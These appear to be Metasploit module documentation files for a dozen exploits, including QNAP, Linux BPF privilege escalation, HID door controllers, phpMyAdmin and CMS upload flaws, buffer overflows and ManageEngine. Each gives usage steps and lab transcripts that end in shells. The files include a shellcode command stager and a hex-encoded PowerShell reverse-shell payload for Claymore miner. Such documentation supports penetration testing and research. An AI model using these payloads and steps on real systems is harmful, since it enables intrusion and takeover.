this module also exploits a separate password disclosure issue which
allows any authenticated user to view the password set for the `admin`
user during first install.
## Vulnerable Application
[QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central
management platform that enables you to consolidate the management of multiple
QNAP NAS devices.
This module has been tested successfully on QNAP Q'Center appliance
version 1.6.1075.
## Verification Steps
1. Start `msfconsole`
2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec`
3. `set RHOSTS <IP>`
4. `set USERNAME <USERNAME>` (default: `admin`)
5. `set PASSWORD <PASSWORD>` (default: `admin`)
6. `run`
7. You should get a session
## Options
**USERNAME**
Username for the application. (default: `admin`)
**PASSWORD**
Password for the application. (default: `admin`)
## Scenarios
```
msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112
rhosts => 10.1.1.112
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true
verbose => true
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check
[*] Target is QNAP Q'Center appliance version 1.6.1075
[*] 10.1.1.112:443 The target appears to be vulnerable.
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run
[*] Started reverse TCP handler on 10.1.1.197:4444
[*] Target is QNAP Q'Center appliance version 1.6.1075
[+] Authenticated as user 'admin' successfully
[*] Sending payload ...
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (861480 bytes) to 10.1.1.112
[*] Command Stager progress - 100.00% done (701/701 bytes)
meterpreter > getuid
Server username: uid=1001, gid=1001, euid=1001, egid=1001
meterpreter > sysinfo
Computer : 10.1.1.112
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,187 @@
## Vulnerable Application
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
`kernel.unprivileged_bpf_disabled` set to `1`.
This module has been tested successfully on:
* Debian 9.0 kernel 4.9.0-3-amd64;
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
* Gentoo 2.2 kernel 4.5.2-aufs-r1;
* Linux Mint 17.3 kernel 4.4.0-89-generic;
* Linux Mint 18.0 kernel 4.8.0-58-generic;
* Linux Mint 18.3 kernel 4.13.0-16-generic;
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
* Manjero 16.10 kernel 4.4.28-2-MANJARO;
* Solus 3 kernel 4.12.7-11.current;
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
* Ubuntu 17.04 kernel 4.10.0-19-generic;
* ZorinOS 12.1 kernel 4.8.0-39-generic.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc`
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**WritableDir**
A folder we can write files to. Defaults to `/tmp`
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
#### Initial Access
```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Escalate
In this scenario, gcc is installed so we can live compile on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
[*] Max line length is 65537
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003869aa00
[*] uidptr = ffff8800354fb244
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vQIIRofN.c
[+] Deleted /tmp/vQIIRofN
[+] Deleted /tmp/iuRJiXBf
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing vsQTwocG to /tmp/vsQTwocG
[*] Max line length is 65537
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003a8a3800
[*] uidptr = ffff88003d276304
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vsQTwocG
[+] Deleted /tmp/JDQDHtEG
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Debian 9.0 (x86_64)
```
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
compile => False
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (861480 bytes) to 172.16.191.236
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : debian-9-0-x64.local
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,58 @@
## Description
This module exploits an unauthenticated remote command execution
vulnerability in the `discoveryd` service exposed by HID VertX and Edge
door controllers.
## Vulnerable Application
This module was tested successfully on a HID Edge model EH400
with firmware version 2.3.1.603 (Build 04/23/2012).
## Verification Steps
1. Start `msfconsole`
2. `use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce`
3. `set rhost [IP]`
4. `set lhost [IP]`
5. `run`
6. You should get a *root* session
## Scenarios
```
msf5 > use exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set rhosts 10.123.123.123
rhosts => 10.123.123.123
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > set lhost 10.1.1.197
lhost => 10.1.1.197
msf5 exploit(linux/misc/hid_discoveryd_command_blink_on_unauth_rce) > run
[*] Started reverse TCP handler on 10.1.1.197:4444
[*] 10.123.123.123:4070 - Connecting to target
[*] Command Stager progress - 0.29% done (26/8993 bytes)
[*] Command Stager progress - 0.58% done (52/8993 bytes)
[*] Command Stager progress - 0.87% done (78/8993 bytes)
[*] Command Stager progress - 1.16% done (104/8993 bytes)
[...]
[*] Command Stager progress - 98.88% done (8892/8993 bytes)
[*] Command Stager progress - 99.17% done (8918/8993 bytes)
[*] Command Stager progress - 99.46% done (8944/8993 bytes)
[*] Command Stager progress - 99.68% done (8964/8993 bytes)
[*] Sending stage (806208 bytes) to 10.123.123.123
[*] Command Stager progress - 100.00% done (8993/8993 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 10.123.123.123
OS : (Linux 2.6.28)
Architecture : armv5tejl
BuildTuple : armv5l-linux-musleabi
Meterpreter : armle/linux
meterpreter >
```

View File

@ -0,0 +1,69 @@
## Description
CMS Made Simple allows an authenticated administrator to upload a file
and rename it to have a `.php` extension. The file can then be executed
by opening the URL of the file in the `/uploads/` directory.
This module has been successfully tested on CMS Made Simple versions
2.2.5 and 2.2.7.
## Vulnerable Application
[CMS Made Simple v2.2.5](http://dev.cmsmadesimple.org/project/files/6)
## Verification Steps
1. `./msfconsole -q`
2. `use use exploit/multi/http/cmsms_upload_rename_rce`
3. `set username <username>`
4. `set password <password>`
5. `set rhosts <rhost>`
6. `run`
## Scenarios
### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.123
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.123:44352) at 2018-07-17 08:41:33 -0500
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```
### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175
rhosts => 172.22.222.175
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.175:49829) at 2018-07-17 08:46:27 -0500
meterpreter > sysinfo
Computer : WIN10
OS : Windows NT WIN10 10.0 build 17134 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,40 @@
## Description
This module exploits an argument injection vulnerability in GitList v0.6.0
## Vulnerable Application
GitList v0.6.0
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use [exploit/multi/http/gitlist_arg_injection]`
4. Do: `set RHOSTS [IP]`
5. Do: `run`
6. You should get a session.
## Scenarios
### Tested on Ubuntu 18.04 x64
```
msf5 > use exploit/multi/http/gitlist_arg_injection
msf5 exploit(multi/http/gitlist_arg_injection) > set rhosts 192.168.37.141
rhosts => 192.168.37.141
msf5 exploit(multi/http/gitlist_arg_injection) > check
[+] 192.168.37.141:80 The target is vulnerable.
msf5 exploit(multi/http/gitlist_arg_injection) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (37775 bytes) to 192.168.37.141
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.141:35804) at 2018-07-05 14:22:39 -0500
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```

View File

@ -0,0 +1,60 @@
## Description
MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against MonstraCMS 3.0.4.
Additional information and vulnerabilities can be viewed on Exploit-DB [43348](https://www.exploit-db.com/exploits/43348/).
## Vulnerable Application
Available at [Exploit-DB](https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip)
### Vulnerable Application Installation Setup
1. Download Application : `https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
2. Extract : `23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
3. Move In WebDirectory : `C:\xampp\htdocs\`
4. Now Visit : http://localhost/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/monstra_fileupload_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `set targeturi monstra`
7. Do: `set username USERNAME`
8. Do: `set password PASSWORD`
9. Do: `check`
```
[*] Monstra CMS: 3.0.4
[+] 192.168.0.101:80 The target is vulnerable.
```
10. Do: `set lport <port>`
11. Do: `set lhost <ip>`
12. Do: `exploit`
13. You should get a shell.
## Scenarios
### Monstra CMS on Windows Target
```
msf exploit(multi/http/monstra_fileupload_exec) > check
[*] Monstra CMS: 3.0.4
[+] 192.168.0.101:80 The target is vulnerable.
msf exploit(multi/http/monstra_fileupload_exec) > exploit
[*] Started bind handler
[*] Trying to Login ......
[+] Authentication successful : [ editor : editor ]
[+] CSRF-Token for File Upload : 2a67a7995c15c69a158d897f517e3aff2e3a4ae9
[*] Trying to upload file with malicious Content....
[*] Executing Payload
[*] Sending stage (37775 bytes) to 192.168.0.101
[*] Meterpreter session 1 opened (10.0.2.15:45689 -> 192.168.0.101:4444) at 2018-06-30 12:39:53 +0530
[+] Deleted TSPfeLYdMP.PHP
meterpreter > sysinfo
Computer : 114619-T470P
OS : Windows NT 114619-T470P 10.0 build 16299 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,37 @@
## Description
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
## Vulnerable Application
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
```
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
rhosts => 172.22.222.122
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
[*] Started reverse TCP handler on 172.22.222.190:4444
[*] Sending stage (37775 bytes) to 172.22.222.122
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer :
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,54 @@
## Vulnerable Application
This module exploits an arbitrary file upload vulnerability in Responsive Thumbnail Slider Plugin
v1.0 for WordPress post authentication.
For testing purposes, you may download a vulnerable version [here](https://www.exploit-db.com/apps/f5d34e16d07e61ad6826d2c1f3d16089-wp-responsive-thumbnail-slider.zip).
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/http/wp_responsive_thumbnail_slider_upload```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set TARGETURI [URI]```
6. Do: ```set USERNAME [USERNAME]```
7. Do: ```set PASSWORD [PASS]```
8. Do: ```run```
9. You should get a shell.
## Scenarios
### Test on Windows 7 x86 running WordPress v4.9.7
```
msf5 > use exploit/multi/http/wp_responsive_thumbnail_slider_upload
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set rhosts 192.168.37.165
rhosts => 192.168.37.165
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set targeturi wordpress
targeturi => wordpress
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set username test
username => test
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set password password
password => password
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > check
[*] 192.168.37.165:80 The target service is running, but could not be validated.
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] WordPress accessed
[+] Logged into WordPress
[+] Successful upload
[*] Sending stage (37775 bytes) to 192.168.37.165
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.165:54322) at 2018-07-26 14:41:02 -0500
meterpreter > getuid
Server username: lab (0)
meterpreter > sysinfo
Computer : WIN7-LAB
OS : Windows NT WIN7-LAB 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,48 @@
## Description
This module connects to the Claymore Dual Miner API server to exploit the RCE.
This module can target the remote system if the miner is running with read/write mode enabled.
## Vulnerable Application
[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner
configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker
can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI.
## Verification Steps
1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333`
2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}`
3. Run on terminal: `nc -lvp 1234`
4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo`
5. You should get a shell
## Options
**RHOST**
Remote Host
**RPORT**
Remote port the vulnerable software is running at, default is 3333.
### Remote target
```
msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234
lport => 1234
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit
[*] Started reverse TCP handler on 127.0.0.1:1234
[*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000
whoami
reversebrain
```

View File

@ -0,0 +1,74 @@
## Vulnerable Application
This module exploits a stack-based buffer overflow in Boxoft WAV to MP3 Converter v1.0-v1.1.
## Verification Steps
1. Install application on the target machine
2. Start msfconsole
3. Do: `use [exploit/multi/handler]`
4. Do: `set payload [windows/meterpreter/reverse_tcp]`
5. Do: `set LHOST [IP]`
6. Do: `run`
7. Do: `use [exploit/windows/fileformat/boxoft_wav_to_mp3]`
8. Do: `set payload [windows/meterpreter/reverse_tcp]`
9. Do: `set LHOST [IP]`
10. Do: `run`
11. Copy the generated file to the target machine
12. Open Boxoft WAV to MP3 Converter
13. Select `Next` at the bottom
14. Select `Add`
15. Browse to the file and select it
16. Click `Convert to MP3`
You should get a shell.
## Options
**FILENAME**
The filename that the shellcode gets written to. Setting a filename is not required, as there is a default name already set.
## Scenarios
### Tested on Windows 7 x86
Run Exploit
```
msf5 > use exploit/windows/fileformat/boxoft_wav_to_mp3
msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > run
[+] music.wav stored at /Users/space/.msf4/local/music.wav
```
Set up Handler
```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (179779 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.138:49178) at 2018-06-29 14:41:11 -0500
meterpreter > sysinfo
Computer : WIN7-LAB
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

View File

@ -0,0 +1,54 @@
## Vulnerable Application
FTPShell client 6.70 (Enterprise edition) is affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code on the target. The vulnerability is caused by improper bounds checking of the PWD command. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [ftpshell.com](http://www.ftpshell.com/downloadclient.htm).
## Verification Steps
1. Install a vulnerable FTPShell client 6.70
2. Start `msfconsole`
3. Do `use exploit/windows/ftp/ftpshell_cli_bof`
4. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
5. Do `set LHOST ip`
6. Do `exploit`
7. Conect to the FTP server using FTPShell client 6.70
8. Verify the Meterpreter session is opened
## Scenarios
### FTPShell client 6.70 on Windows 7 SP1 x64
```
msf > use exploit/windows/ftp/ftpshell_cli_bof
msf exploit(windows/ftp/ftpshell_cli_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/ftp/ftpshell_cli_bof) > set LHOST 172.16.106.129
LHOST => 172.16.106.129
msf exploit(windows/ftp/ftpshell_cli_bof) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.106.129:4444
[*] Please ask your target(s) to connect to 172.16.106.129:21
[*] Server started.
msf exploit(windows/ftp/ftpshell_cli_bof) > [*] 172.16.106.128 - connected.
[*] 172.16.106.128 - Response: Sending 220 Welcome
[*] 172.16.106.128 - Request: USER anonymous
[*] 172.16.106.128 - Response: sending 331 OK
[*] 172.16.106.128 - Request: PASS anonymous@anon.com
[*] 172.16.106.128 - Response: Sending 230 OK
[*] 172.16.106.128 - Request: PWD
[*] 172.16.106.128 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.106.128
[*] Meterpreter session 1 opened (172.16.106.129:4444 -> 172.16.106.128:49263) at 2018-06-27 11:19:38 -0400
msf exploit(windows/ftp/ftpshell_cli_bof) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,54 @@
## Description
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
## Vulnerable Application
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/manageengine_adshacluster_rce`
4. Do: `set rhost <ip>`
5. Do: `check`
```
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
```
6. Do: `set lport <port>`
7. Do: `set lhost <ip>`
8. Do: `exploit`
9. You should get a shell.
## Scenarios
### Exchange Reporter Plus 5216 on Windows Target
```
msf > use exploit/windows/http/manageengine_adshacluster_rce
msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125
rhost => 192.168.88.125
msf exploit(windows/http/manageengine_adshacluster_rce) > check
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111
lport => 1111
msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120
lhost => 192.168.88.120
msf exploit(windows/http/manageengine_adshacluster_rce) > exploit
[*] Started reverse TCP handler on 192.168.88.120:1111
[*] Sending stage (179779 bytes) to 192.168.88.125
[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200
meterpreter > sysinfo
Computer : WIN10
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : pl_PL
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

View File

@ -0,0 +1,119 @@
## Description
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
(except for Windows XP).
Depending on the value of `USE_INJECTION` It will either inject a dll with the exploit
code into a process, or it will upload a pre-compiled exploit onto the target machine, followed
by the final payload (such as a Meterpreter) in order to gain remote code execution.
## Vulnerable Target
Please note that this module may not work with certain hypervisors (such as VMWare). You should
test it on a real machine if possible.
## Verification Steps
```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Sending stage (206403 bytes) to 192.168.136.142
meterpreter > getuid
Server username: DESKTOP-QGIC71I\msfuser
meterpreter > sysinfo
Computer : DESKTOP-QGIC71I
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : en_US
